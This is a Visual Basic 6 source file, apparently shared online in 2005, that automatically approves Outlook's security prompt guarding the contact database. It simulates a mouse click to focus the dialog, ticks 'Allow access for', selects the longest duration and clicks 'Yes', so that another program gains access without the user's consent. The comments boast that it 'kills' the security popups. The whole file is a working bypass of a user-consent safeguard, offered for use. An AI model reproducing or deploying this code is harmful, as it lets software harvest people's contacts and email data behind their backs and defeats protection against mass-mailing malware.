' Recent versions of Outlook, as well as a released patch, ' make Outlook prompt the user whenever a remote appliction ' tries to access specific contact information in the Outlook ' Contact database. The user can then decide to allow or not ' allow the application to get that access. ' ' Microsoft took extra care in making sure that a remote ' application could not just get the handle to the popup, ' focus it, and click 'Yes' for the user. In fact, if you try ' that, you will SEE the button getting clicked, but nothing ' happening. I discovered that only when it receives focus ' from the mouse does it allow the buttons to be controlled. ' ' Yes, even BM_CLICK's, WM_LBUTTONDOWN/WM_LBUTTONUP, ' SetActiveWindow, SetForegroundWindow, etc will not do the job ' until focus from a mouseevent is executed. ' ' Thanks to for pointing me in the right direction ' on functions to use to get access to certain objects. ' ' Enjoy. ' ' - r ! s c (21/01/2005) , Based on code by BasharTeg and sammanna Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _ ByVal lParam As Long) As Long Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _ (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _ ByVal lpsz2 As String) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Declare Function GetCursorPos Lib "user32" _ (lpPoint As POINTAPI) As Long Private Declare Function SetCursorPos Lib "user32" _ (ByVal X As Long, ByVal Y As Long) As Long Private Declare Function GetWindowRect Lib "user32" _ (ByVal hWnd As Long, lpRect As RECT) As Long Private Declare Sub mouse_event Lib "user32" _ (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy _ As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long) Private Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Private Type POINTAPI X As Long Y As Long End Type Const WM_ACTIVATE = &H6 Const MA_ACTIVATE = 1 Const BM_CLICK = &HF5 Const BM_SETCHECK = &HF1 Const MOUSEEVENTF_LEFTDOWN = &H2 Const MOUSEEVENTF_LEFTUP = &H4 Const CB_GETCOUNT = &H146 Const CB_SETCURSEL = &H14E ' Mutex Stuff Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (lpMutexAttributes As Any, ByVal bInitialOwner As Long, ByVal lpName As String) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function ReleaseMutex Lib "kernel32" (ByVal hMutex As Long) As Long Const ERROR_ALREADY_EXISTS = 183& Dim mutex As Long Private Sub Form_Load() ' Setup a mutex SetupMutex ' Kill any security popups ;) within the next ' This function actually makes any security popups that are active ' disabled for 10 minutes. I run this app right before I need ' to access any contact database email info. I do not do ' this from the program itself since VB doesn't have real ' threading (Timers will not work when a call waits which is ' what happens upon Outlook's security window popup). KillSecurity 3 ' Exit and close mutex Unload Me End End Sub ' Set the security popup to allow us to access contact info ' for the next 10 minutes. This only works if the poup ' is actually up. Sub KillSecurity(Seconds As Integer) Dim hWndParent&, hWndChild&, hWndCheck&, hWndCombo& Dim i As Integer Dim comboItems As Integer Dim mousepos As POINTAPI Dim lpRect As RECT i = 0 Do hWndParent = 0 i = i + 1 ' Get highest parent window handle hWndOutlook = FindWindow(vbNullString, "Microsoft Outlook") ' Get parent window handle hWndParent = FindWindow("#32770", "Microsoft Office Outlook") If hWndParent = 0 Then hWndParent = FindWindow("#32770", "Microsoft Outlook") End If ' If we found a handle If hWndParent Then hWndChild = 0 hWndCombo = 0 hWndCheck = 0 ' Find the 'Yes' button and other things in the security box hWndChild = FindWindowEx(hWndParent, 0, "Button", "Yes") If hWndChild = 0 Then hWndChild = FindWindowEx(hWndParent, 0, "Button", "&Yes") End If hWndCombo = FindWindowEx(hWndParent, 0, "ComboBox", "") hWndCheck = FindWindowEx(hWndParent, 0, "Button", "&Allow access for") ' If we found the security dialog box, let's own it If hWndChild And hWndCheck And hWndCombo Then ' Focus Outlook -- Outlook's security patch attempts to ' stop intruders just clicking the 'yes' which is why ' no one has been able to get around this yet. It only ' works if the window is given manual focus from the ' mouse, and not a system call like SetForegroundWindow. ' I rule. Call GetCursorPos(mousepos) Call GetWindowRect(hWndParent, lpRect) Call SetCursorPos(lpRect.Left + 10, lpRect.Top + 10) Call mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) Call Sleep(0) Call mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0) Call SetCursorPos(mousepos.X, mousepos.Y) ' Check the 'Allow access for' checkbox Call SendMessage(hWndCheck, BM_SETCHECK, 1, 0) ' Get number of drop down items comboItems = SendMessage(hWndCombo, CB_GETCOUNT, 0, 0) ' Set minutes to number of drop down items (0 based) Call SendMessage(hWndCombo, CB_SETCURSEL, comboItems - 1, 0) ' Click 'Yes' Call SendMessage(hWndChild, WM_ACTIVATE, MA_ACTIVATE, 0) Call SendMessage(hWndChild, BM_CLICK, 0, 0) End If End If Sleep 50 Loop While i < Seconds * 20 End Sub ' On unload Private Sub Form_Unload(Cancel As Integer) ReleaseMutex mutex CloseHandle mutex End Sub ' Create mutex Sub SetupMutex() ' set a mutex up mutex = CreateMutex(ByVal 0&, 1, "Outsmartmutex") If Err.LastDllError = ERROR_ALREADY_EXISTS Then ' Clean up ReleaseMutex mutex CloseHandle mutex ' More than one instance detected Unload Me End End If End Sub